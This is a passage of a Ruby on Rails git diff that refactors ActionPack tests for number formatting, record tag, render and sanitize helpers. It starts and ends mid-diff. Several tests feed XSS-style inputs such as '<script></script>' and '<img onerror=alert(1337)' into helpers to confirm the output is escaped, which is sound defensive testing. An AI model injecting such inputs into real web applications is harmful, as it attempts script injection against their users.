     assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :separator => ',', :delimiter => '.')
     assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :delimiter => '.', :separator => ',')
+    assert_equal '1&lt;script&gt;&lt;/script&gt;01', number_with_delimiter(1.01, :separator => "<script></script>")
+    assert_equal '1&lt;script&gt;&lt;/script&gt;000', number_with_delimiter(1000, :delimiter => "<script></script>")
   end
 
   def test_number_with_precision
@@ -95,11 +103,14 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal("0.001", number_with_precision(0.00111, :precision => 3))
     assert_equal("10.00", number_with_precision(9.995, :precision => 2))
     assert_equal("11.00", number_with_precision(10.995, :precision => 2))
+    assert_equal("0.00", number_with_precision(-0.001, :precision => 2))
   end
 
   def test_number_with_precision_with_custom_delimiter_and_separator
     assert_equal '31,83',       number_with_precision(31.825, :precision => 2, :separator => ',')
     assert_equal '1.231,83',    number_with_precision(1231.825, :precision => 2, :separator => ',', :delimiter => '.')
+    assert_equal '1&lt;script&gt;&lt;/script&gt;010', number_with_precision(1.01, :separator => "<script></script>")
+    assert_equal '1&lt;script&gt;&lt;/script&gt;000.000', number_with_precision(1000, :delimiter => "<script></script>")
   end
 
   def test_number_with_precision_with_significant_digits
@@ -189,6 +200,7 @@ class NumberHelperTest < ActionView::TestCase
     assert_equal '1.0 KB',   number_to_human_size(kilobytes(1.0123), :precision => 2, :strip_insignificant_zeros => false)
     assert_equal '1.012 KB',   number_to_human_size(kilobytes(1.0123), :precision => 3, :significant => false)
     assert_equal '1 KB',   number_to_human_size(kilobytes(1.0123), :precision => 0, :significant => true) #ignores significant it precision is 0
+    assert_equal '9&lt;script&gt;&lt;/script&gt;86 KB', number_to_human_size(10100, :separator => "<script></script>")
   end
 
   def test_number_to_human_size_with_custom_delimiter_and_separator
@@ -249,6 +261,9 @@ class NumberHelperTest < ActionView::TestCase
     #Spaces are stripped from the resulting string
     assert_equal '4', number_to_human(4, :units => {:unit => "", :ten => 'tens '})
     assert_equal '4.5  tens', number_to_human(45, :units => {:unit => "", :ten => ' tens   '})
+
+    assert_equal '1&lt;script&gt;&lt;/script&gt;01', number_to_human(1.01, :separator => "<script></script>")
+    assert_equal '100&lt;script&gt;&lt;/script&gt;000 Quadrillion', number_to_human(10**20, :delimiter => "<script></script>")
   end
 
   def test_number_to_human_with_custom_format
@@ -267,6 +282,31 @@ class NumberHelperTest < ActionView::TestCase
     assert_nil number_to_human(nil)
   end
 
+  def test_number_helpers_do_not_mutate_options_hash
+    options = { 'raise' => true }
+
+    number_to_phone(1, options)
+    assert_equal({ 'raise' => true }, options)
+
+    number_to_currency(1, options)
+    assert_equal({ 'raise' => true }, options)
+
+    number_to_percentage(1, options)
+    assert_equal({ 'raise' => true }, options)
+
+    number_with_delimiter(1, options)
+    assert_equal({ 'raise' => true }, options)
+
+    number_with_precision(1, options)
+    assert_equal({ 'raise' => true }, options)
+
+    number_to_human_size(1, options)
+    assert_equal({ 'raise' => true }, options)
+
+    number_to_human(1, options)
+    assert_equal({ 'raise' => true }, options)
+  end
+
   def test_number_helpers_should_return_non_numeric_param_unchanged
     assert_equal("+1-x x 123", number_to_phone("x", :country_code => 1, :extension => 123))
     assert_equal("x", number_to_phone("x"))
@@ -321,69 +361,39 @@ class NumberHelperTest < ActionView::TestCase
   end
 
   def test_number_helpers_should_raise_error_if_invalid_when_specified
-    assert_raise InvalidNumberError do
+    exception = assert_raise InvalidNumberError do
       number_to_human("x", :raise => true)
     end
-    begin
-      number_to_human("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
-    end
+    assert_equal "x", exception.number
 
-    assert_raise InvalidNumberError do
-      number_to_human_size("x", :raise => true)
-    end
-    begin
+    exception = assert_raise InvalidNumberError do
       number_to_human_size("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
     end
+    assert_equal "x", exception.number
 
-    assert_raise InvalidNumberError do
-      number_with_precision("x", :raise => true)
-    end
-    begin
+    exception = assert_raise InvalidNumberError do
       number_with_precision("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
     end
+    assert_equal "x", exception.number
 
-    assert_raise InvalidNumberError do
+    exception = assert_raise InvalidNumberError do
       number_to_currency("x", :raise => true)
     end
-    begin
-      number_with_precision("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
-    end
+    assert_equal "x", exception.number
 
-    assert_raise InvalidNumberError do
-      number_to_percentage("x", :raise => true)
-    end
-    begin
+    exception = assert_raise InvalidNumberError do
       number_to_percentage("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
     end
+    assert_equal "x", exception.number
 
-    assert_raise InvalidNumberError do
+    exception = assert_raise InvalidNumberError do
       number_with_delimiter("x", :raise => true)
     end
-    begin
-      number_with_delimiter("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
-    end
+    assert_equal "x", exception.number
 
-    assert_raise InvalidNumberError do
-      number_to_phone("x", :raise => true)
-    end
-    begin
+    exception = assert_raise InvalidNumberError do
       number_to_phone("x", :raise => true)
-    rescue InvalidNumberError => e
-      assert_equal "x", e.number
     end
-
+    assert_equal "x", exception.number
   end
-
 end
diff --git a/actionpack/test/template/output_buffer_test.rb b/actionpack/test/template/output_buffer_test.rb
index bd49a11af1..eb0df3d1ab 100644
--- a/actionpack/test/template/output_buffer_test.rb
+++ b/actionpack/test/template/output_buffer_test.rb
@@ -39,15 +39,13 @@ class OutputBufferTest < ActionController::TestCase
     assert_equal ['foo', 'bar'], body_parts
   end
 
-  if '1.9'.respond_to?(:force_encoding)
-    test 'flushing preserves output buffer encoding' do
-      original_buffer = ' '.force_encoding(Encoding::EUC_JP)
-      @vc.output_buffer = original_buffer
-      @vc.flush_output_buffer
-      assert_equal ['foo', original_buffer], body_parts
-      assert_not_equal original_buffer, output_buffer
-      assert_equal Encoding::EUC_JP, output_buffer.encoding
-    end
+  test 'flushing preserves output buffer encoding' do
+    original_buffer = ' '.force_encoding(Encoding::EUC_JP)
+    @vc.output_buffer = original_buffer
+    @vc.flush_output_buffer
+    assert_equal ['foo', original_buffer], body_parts
+    assert_not_equal original_buffer, output_buffer
+    assert_equal Encoding::EUC_JP, output_buffer.encoding
   end
 
   protected
diff --git a/actionpack/test/template/output_safety_helper_test.rb b/actionpack/test/template/output_safety_helper_test.rb
index fc127c24e9..76c71c9e6d 100644
--- a/actionpack/test/template/output_safety_helper_test.rb
+++ b/actionpack/test/template/output_safety_helper_test.rb
@@ -1,9 +1,7 @@
 require 'abstract_unit'
-require 'testing_sandbox'
 
 class OutputSafetyHelperTest < ActionView::TestCase
   tests ActionView::Helpers::OutputSafetyHelper
-  include TestingSandbox
 
   def setup
     @string = "hello"
diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionpack/test/template/record_tag_helper_test.rb
index 7f23629e05..a84034c02e 100644
--- a/actionpack/test/template/record_tag_helper_test.rb
+++ b/actionpack/test/template/record_tag_helper_test.rb
@@ -1,98 +1,103 @@
 require 'abstract_unit'
-require 'controller/fake_models'
 
-class Post
+class RecordTagPost
   extend ActiveModel::Naming
   include ActiveModel::Conversion
-  attr_writer :id, :body
+  attr_accessor :id, :body
 
   def initialize
-    @id = nil
-    @body = nil
-    super
-  end
+    @id   = 45
+    @body = "What a wonderful world!"
 
-  def id
-     @id || 45
-  end
-
-  def body
-    super || @body || "What a wonderful world!"
+    yield self if block_given?
   end
 end
 
 class RecordTagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
   tests ActionView::Helpers::RecordTagHelper
 
   def setup
     super
-    @post = Post.new
-    @post.persisted = true
+    @post = RecordTagPost.new
   end
 
   def test_content_tag_for
-    expected = %(<li class="post bar" id="post_45"></li>)
-    actual = content_tag_for(:li, @post, :class => 'bar') { }
+    expected = %(<li class="record_tag_post" id="record_tag_post_45"></li>)
+    actual = content_tag_for(:li, @post) { }
     assert_dom_equal expected, actual
   end
 
   def test_content_tag_for_prefix
-    expected = %(<ul class="archived_post" id="archived_post_45"></ul>)
+    expected = %(<ul class="archived_record_tag_post" id="archived_record_tag_post_45"></ul>)
     actual = content_tag_for(:ul, @post, :archived) { }
     assert_dom_equal expected, actual
   end
 
-  def test_content_tag_for_with_extra_html_tags
-    expected = %(<tr class="post bar" id="post_45" style='background-color: #f0f0f0'></tr>)
-    actual = content_tag_for(:tr, @post, {:class => "bar", :style => "background-color: #f0f0f0"}) { }
+  def test_content_tag_for_with_extra_html_options
+    expected = %(<tr class="record_tag_post special" id="record_tag_post_45" style='background-color: #f0f0f0'></tr>)
+    actual = content_tag_for(:tr, @post, :class => "special", :style => "background-color: #f0f0f0") { }
+    assert_dom_equal expected, actual
+  end
+
+  def test_content_tag_for_with_prefix_and_extra_html_options
+    expected = %(<tr class="archived_record_tag_post special" id="archived_record_tag_post_45" style='background-color: #f0f0f0'></tr>)
+    actual = content_tag_for(:tr, @post, :archived, :class => "special", :style => "background-color: #f0f0f0") { }
     assert_dom_equal expected, actual
   end
 
   def test_block_not_in_erb_multiple_calls
-    expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
-    actual = div_for(@post, :class => "bar") { @post.body }
+    expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
+    actual = div_for(@post, :class => "special") { @post.body }
     assert_dom_equal expected, actual
-    actual = div_for(@post, :class => "bar") { @post.body }
+    actual = div_for(@post, :class => "special") { @post.body }
     assert_dom_equal expected, actual
   end
 
   def test_block_works_with_content_tag_for_in_erb
-    expected = %(<tr class="post" id="post_45">#{@post.body}</tr>)
-    actual = content_tag_for(:tr, @post) { concat @post.body }
+    expected = %(<tr class="record_tag_post" id="record_tag_post_45">What a wonderful world!</tr>)
+    actual = render_erb("<%= content_tag_for(:tr, @post) do %><%= @post.body %><% end %>")
     assert_dom_equal expected, actual
   end
 
   def test_div_for_in_erb
-    expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
-    actual = div_for(@post, :class => "bar") { concat @post.body }
+    expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
+    actual = render_erb("<%= div_for(@post, :class => 'special') do %><%= @post.body %><% end %>")
     assert_dom_equal expected, actual
   end
 
   def test_content_tag_for_collection
-    post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true }
-    post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true }
-    expected = %(<li class="post" id="post_101">Hello!</li>\n<li class="post" id="post_102">World!</li>)
-    actual = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body }
+    post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+    post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+    expected = %(<li class="record_tag_post" id="record_tag_post_101">Hello!</li>\n<li class="record_tag_post" id="record_tag_post_102">World!</li>)
+    actual = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
     assert_dom_equal expected, actual
   end
 
   def test_div_for_collection
-    post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true }
-    post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true }
-    expected = %(<div class="post" id="post_101">Hello!</div>\n<div class="post" id="post_102">World!</div>)
-    actual = div_for([post_1, post_2]) { |post| concat post.body }
+    post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+    post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+    expected = %(<div class="record_tag_post" id="record_tag_post_101">Hello!</div>\n<div class="record_tag_post" id="record_tag_post_102">World!</div>)
+    actual = div_for([post_1, post_2]) { |post| post.body }
     assert_dom_equal expected, actual
   end
 
   def test_content_tag_for_single_record_is_html_safe
-    result = div_for(@post, :class => "bar") { concat @post.body }
+    result = div_for(@post, :class => "special") { @post.body }
     assert result.html_safe?
   end
 
   def test_content_tag_for_collection_is_html_safe
-    post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true }
-    post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true }
-    result = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body }
+    post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+    post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+    result = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
     assert result.html_safe?
   end
+
+  def test_content_tag_for_does_not_change_options_hash
+    options = { :class => "important" }
+    content_tag_for(:li, @post, options) { }
+    assert_equal({ :class => "important" }, options)
+  end
 end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
index 77659918f7..b26354e7cc 100644
--- a/actionpack/test/template/render_test.rb
+++ b/actionpack/test/template/render_test.rb
@@ -20,6 +20,11 @@ module RenderTestCases
     assert_equal ORIGINAL_LOCALES, I18n.available_locales.map {|l| l.to_s }.sort
   end
 
+  def test_render_without_options
+    e = assert_raises(ArgumentError) { @view.render() }
+    assert_match "You invoked render but did not give any of :partial, :template, :inline, :file or :text option.", e.message
+  end
+
   def test_render_file
     assert_equal "Hello world!", @view.render(:file => "test/hello_world")
   end
@@ -43,25 +48,55 @@ module RenderTestCases
     assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
     assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
   end
-  
+
+  def test_render_partial_implicitly_use_format_of_the_rendered_template
+    @view.lookup_context.formats = [:json]
+    assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
+  end
+
+  def test_render_partial_implicitly_use_format_of_the_rendered_partial
+    @view.lookup_context.formats = [:html]
+    assert_equal "Third level", @view.render(:template => "test/html_template")
+  end
+
+  def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
+    @view.lookup_context.formats = [:html]
+    assert_equal "\nHTML Template, but JSON partial", @view.render(:template => "test/change_priorty")
+  end
+
+  def test_render_template_with_a_missing_partial_of_another_format
+    @view.lookup_context.formats = [:html]
+    assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+      @view.render(:template => "with_format", :formats => [:json])
+    end
+  end
+
   def test_render_file_with_locale
     assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
     assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
   end
-  
+
   def test_render_template_with_locale
     assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
   end
-  
+
   def test_render_file_with_handlers
     assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
     assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
   end
-  
+
   def test_render_template_with_handlers
     assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
   end
 
+  def test_render_raw_template_with_handlers
+    assert_equal "<%= hello_world %>\n", @view.render(:template => "plain_text")
+  end
+
+  def test_render_raw_template_with_quotes
+    assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
+  end
+
   def test_render_file_with_localization_on_context_level
     old_locale, @view.locale = @view.locale, :da
     assert_equal "Hey verden", @view.render(:file => "test/hello_world")
@@ -134,18 +169,33 @@ module RenderTestCases
   end
 
   def test_render_partial_with_invalid_name
-    @view.render(:partial => "test/200")
-    flunk "Render did not raise ArgumentError"
-  rescue ArgumentError => e
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
     assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
-                                "make sure your partial name starts with a letter or underscore, " +
-                                "and is followed by any combinations of letters, numbers, or underscores.", e.message
+      "make sure your partial name starts with a lowercase letter or underscore, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_missing_filename
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
+    assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
+      "make sure your partial name starts with a lowercase letter or underscore, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
+  end
+
+  def test_render_partial_with_incompatible_object
+    e = assert_raises(ArgumentError) { @view.render(:partial => nil) }
+    assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
+  end
+
+  def test_render_partial_with_hyphen
+    e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
+    assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
+      "make sure your partial name starts with a lowercase letter or underscore, " +
+      "and is followed by any combination of letters, numbers and underscores.", e.message
   end
 
   def test_render_partial_with_errors
-    @view.render(:partial => "test/raise")
-    flunk "Render did not raise Template::Error"
-  rescue ActionView::Template::Error => e
+    e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise") }
     assert_match %r!method.*doesnt_exist!, e.message
     assert_equal "", e.sub_template_message
     assert_equal "1", e.line_number
@@ -153,10 +203,17 @@ module RenderTestCases
     assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
   end
 
+  def test_render_error_indentation
+    e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") }
+    error_lines = e.annoted_source_code.split("\n")
+    assert_match %r!error\shere!, e.message
+    assert_equal "11", e.line_number
+    assert_equal "     9: <p>Ninth paragraph</p>", error_lines.second
+    assert_equal "    10: <p>Tenth paragraph</p>", error_lines.third
+  end
+
   def test_render_sub_template_with_errors
-    @view.render(:template => "test/sub_template_raise")
-    flunk "Render did not raise Template::Error"
-  rescue ActionView::Template::Error => e
+    e = assert_raises(ActionView::Template::Error) { @view.render(:template => "test/sub_template_raise") }
     assert_match %r!method.*doesnt_exist!, e.message
     assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
     assert_equal "1", e.line_number
@@ -164,9 +221,7 @@ module RenderTestCases
   end
 
   def test_render_file_with_errors
-    @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH))
-    flunk "Render did not raise Template::Error"
-  rescue ActionView::Template::Error => e
+    e = assert_raises(ActionView::Template::Error) { @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
     assert_match %r!method.*doesnt_exist!, e.message
     assert_equal "", e.sub_template_message
     assert_equal "1", e.line_number
@@ -213,6 +268,25 @@ module RenderTestCases
     assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
   end
 
+  def test_render_partial_with_layout_using_collection_and_template
+    assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
+    assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
+      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
+    assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
+      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object_counter', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+  end
+
+  def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
+    assert_equal '<b class="amazon">Hello: Amazon</b>',
+      @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :object => Customer.new("Amazon"))
+  end
+
   def test_render_partial_with_empty_array_should_return_nil
     assert_nil @view.render(:partial => [])
   end
@@ -236,36 +310,6 @@ module RenderTestCases
       @controller_view.render(customers, :greeting => "Hello")
   end
 
-  class CustomerWithDeprecatedPartialPath
-    attr_reader :name
-
-    def self.model_name
-      Struct.new(:partial_path).new("customers/customer")
-    end
-
-    def initialize(name)
-      @name = name
-    end
-  end
-
-  def test_render_partial_using_object_with_deprecated_partial_path
-    assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do
-      assert_equal "Hello: nertzy",
-        @controller_view.render(CustomerWithDeprecatedPartialPath.new("nertzy"), :greeting => "Hello")
-    end
-  end
-
-  def test_render_partial_using_collection_with_deprecated_partial_path
-    assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do
-      customers = [
-        CustomerWithDeprecatedPartialPath.new("nertzy"),
-        CustomerWithDeprecatedPartialPath.new("peeja")
-      ]
-      assert_equal "Hello: nertzyHello: peeja",
-        @controller_view.render(customers, :greeting => "Hello")
-    end
-  end
-
   # TODO: The reason for this test is unclear, improve documentation
   def test_render_partial_and_fallback_to_layout
     assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
@@ -274,7 +318,7 @@ module RenderTestCases
   # TODO: The reason for this test is unclear, improve documentation
   def test_render_missing_xml_partial_and_raise_missing_template
     @view.formats = [:xml]
-    assert_raise(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
+    assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
   ensure
     @view.formats = nil
   end
@@ -316,10 +360,16 @@ module RenderTestCases
     assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
   end
 
+  def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
+    ActionView::Template::Handlers.extensions
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert ActionView::Template::Handlers.extensions.include?(:foo)
+  end
+
   def test_render_ignores_templates_with_malformed_template_handlers
     ActiveSupport::Deprecation.silence do
       %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
-        assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+        assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
       end
     end
   end
@@ -426,51 +476,41 @@ class LazyViewRenderTest < ActiveSupport::TestCase
     GC.start
   end
 
-  if '1.9'.respond_to?(:force_encoding)
-    def test_render_utf8_template_with_magic_comment
-      with_external_encoding Encoding::ASCII_8BIT do
-        result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
-        assert_equal Encoding::UTF_8, result.encoding
-        assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
-      end
+  def test_render_utf8_template_with_magic_comment
+    with_external_encoding Encoding::ASCII_8BIT do
+      result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
+      assert_equal Encoding::UTF_8, result.encoding
+      assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
     end
+  end
 
-    def test_render_utf8_template_with_default_external_encoding
-      with_external_encoding Encoding::UTF_8 do
-        result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
-        assert_equal Encoding::UTF_8, result.encoding
-        assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
-      end
+  def test_render_utf8_template_with_default_external_encoding
+    with_external_encoding Encoding::UTF_8 do
+      result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
+      assert_equal Encoding::UTF_8, result.encoding
+      assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
     end
+  end
 
-    def test_render_utf8_template_with_incompatible_external_encoding
-      with_external_encoding Encoding::SHIFT_JIS do
-        begin
-          @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
-          flunk 'Should have raised incompatible encoding error'
-        rescue ActionView::Template::Error => error
-          assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message
-        end
-      end
+  def test_render_utf8_template_with_incompatible_external_encoding
+    with_external_encoding Encoding::SHIFT_JIS do
+      e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") }
+      assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
     end
+  end
 
-    def test_render_utf8_template_with_partial_with_incompatible_encoding
-      with_external_encoding Encoding::SHIFT_JIS do
-        begin
-          @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield")
-          flunk 'Should have raised incompatible encoding error'
-        rescue ActionView::Template::Error => error
-          assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message
-        end
-      end
+  def test_render_utf8_template_with_partial_with_incompatible_encoding
+    with_external_encoding Encoding::SHIFT_JIS do
+      e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") }
+      assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
     end
+  end
 
-    def with_external_encoding(encoding)
-      old = Encoding.default_external
-      silence_warnings { Encoding.default_external = encoding }
-      yield
-    ensure
-      silence_warnings { Encoding.default_external = old }
-    end
+  def with_external_encoding(encoding)
+    old = Encoding.default_external
+    silence_warnings { Encoding.default_external = encoding }
+    yield
+  ensure
+    silence_warnings { Encoding.default_external = old }
   end
 end
diff --git a/actionpack/test/template/sanitize_helper_test.rb b/actionpack/test/template/sanitize_helper_test.rb
index 222d4dbf4c..7626cdf386 100644
--- a/actionpack/test/template/sanitize_helper_test.rb
+++ b/actionpack/test/template/sanitize_helper_test.rb
@@ -1,11 +1,9 @@
 require 'abstract_unit'
-require 'testing_sandbox'
 
 # The exhaustive tests are in test/controller/html/sanitizer_test.rb.
 # This tests the that the helpers hook up correctly to the sanitizer classes.
 class SanitizeHelperTest < ActionView::TestCase
   tests ActionView::Helpers::SanitizeHelper
-  include TestingSandbox
 
   def test_strip_links
     assert_equal "Dont touch me", strip_links("Dont touch me")
@@ -42,9 +40,9 @@ class SanitizeHelperTest < ActionView::TestCase
     [nil, '', '   '].each do |blank|
       stripped = strip_tags(blank)
       assert_equal blank, stripped
-      assert stripped.html_safe? unless blank.nil?
     end
-    assert strip_tags("<script>").html_safe?
+    assert_equal "", strip_tags("<script>")
+    assert_equal "something &lt;img onerror=alert(1337)", ERB::Util.html_escape(strip_tags("something <img onerror=alert(1337)"))
   end
 
   def test_sanitize_is_marked_safe
diff --git a/actionpack/test/template/sprockets_helper_test.rb b/actionpack/test/template/sprockets_helper_test.rb
deleted file mode 100644
index db69f95130..0000000000
--- a/actionpack/test/template/sprockets_helper_test.rb
+++ /dev/null
@@ -1,311 +0,0 @@
-require 'abstract_unit'
-require 'sprockets'
-require 'sprockets/helpers/rails_helper'
-require 'mocha'
-
-class SprocketsHelperTest < ActionView::TestCase
-  include Sprockets::Helpers::RailsHelper
-
-  attr_accessor :assets
-
-  class MockRequest
-    def protocol() 'http://' end
-    def ssl?() false end
-    def host_with_port() 'localhost' end
-  end
-
-  def setup
-    super
-
-    @controller         = BasicController.new
-    @controller.request = MockRequest.new
-
-    @assets = Sprockets::Environment.new
-    @assets.append_path(FIXTURES.join("sprockets/app/javascripts"))
-    @assets.append_path(FIXTURES.join("sprockets/app/stylesheets"))
-    @assets.append_path(FIXTURES.join("sprockets/app/images"))
-
-    application = Struct.new(:config, :assets).new(config, @assets)
-    Rails.stubs(:application).returns(application)
-    @config = config
-    @config.perform_caching = true
-    @config.assets.digest = true
-    @config.assets.compile = true
-  end
-
-  def url_for(*args)
-    "http://www.example.com"
-  end
-
-  def config
-    @controller ? @controller.config : @config
-  end
-
-  test "asset_path" do
-    assert_match %r{/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-    assert_match %r{/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png", :digest => true)
-    assert_match %r{/assets/logo.png},
-      asset_path("logo.png", :digest => false)
-  end
-
-  test "custom_asset_path" do
-    @config.assets.prefix = '/s'
-    assert_match %r{/s/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-    assert_match %r{/s/logo-[0-9a-f]+.png},
-      asset_path("logo.png", :digest => true)
-    assert_match %r{/s/logo.png},
-      asset_path("logo.png", :digest => false)
-  end
-
-  test "asset_path with root relative assets" do
-    assert_equal "/images/logo",
-      asset_path("/images/logo")
-    assert_equal "/images/logo.gif",
-      asset_path("/images/logo.gif")
-
-    assert_equal "/dir/audio",
-      asset_path("/dir/audio")
-  end
-
-  test "asset_path with absolute urls" do
-    assert_equal "http://www.example.com/video/play",
-      asset_path("http://www.example.com/video/play")
-    assert_equal "http://www.example.com/video/play.mp4",
-      asset_path("http://www.example.com/video/play.mp4")
-  end
-
-  test "with a simple asset host the url should default to protocol relative" do
-    @controller.config.default_asset_host_protocol = :relative
-    @controller.config.asset_host = "assets-%d.example.com"
-    assert_match %r{^//assets-\d.example.com/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-  end
-
-  test "with a simple asset host the url can be changed to use the request protocol" do
-    @controller.config.asset_host = "assets-%d.example.com"
-    @controller.config.default_asset_host_protocol = :request
-    assert_match %r{http://assets-\d.example.com/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-  end
-
-  test "With a proc asset host that returns no protocol the url should be protocol relative" do
-    @controller.config.default_asset_host_protocol = :relative
-    @controller.config.asset_host = Proc.new do |asset|
-      "assets-999.example.com"
-    end
-    assert_match %r{^//assets-999.example.com/assets/logo-[0-9a-f]+.png},
-      asset_path("logo.png")
-  end
-
-  test "with a proc asset host that returns a protocol the url use it" do
-    @controller.config.asset_host = Proc.new do |asset|
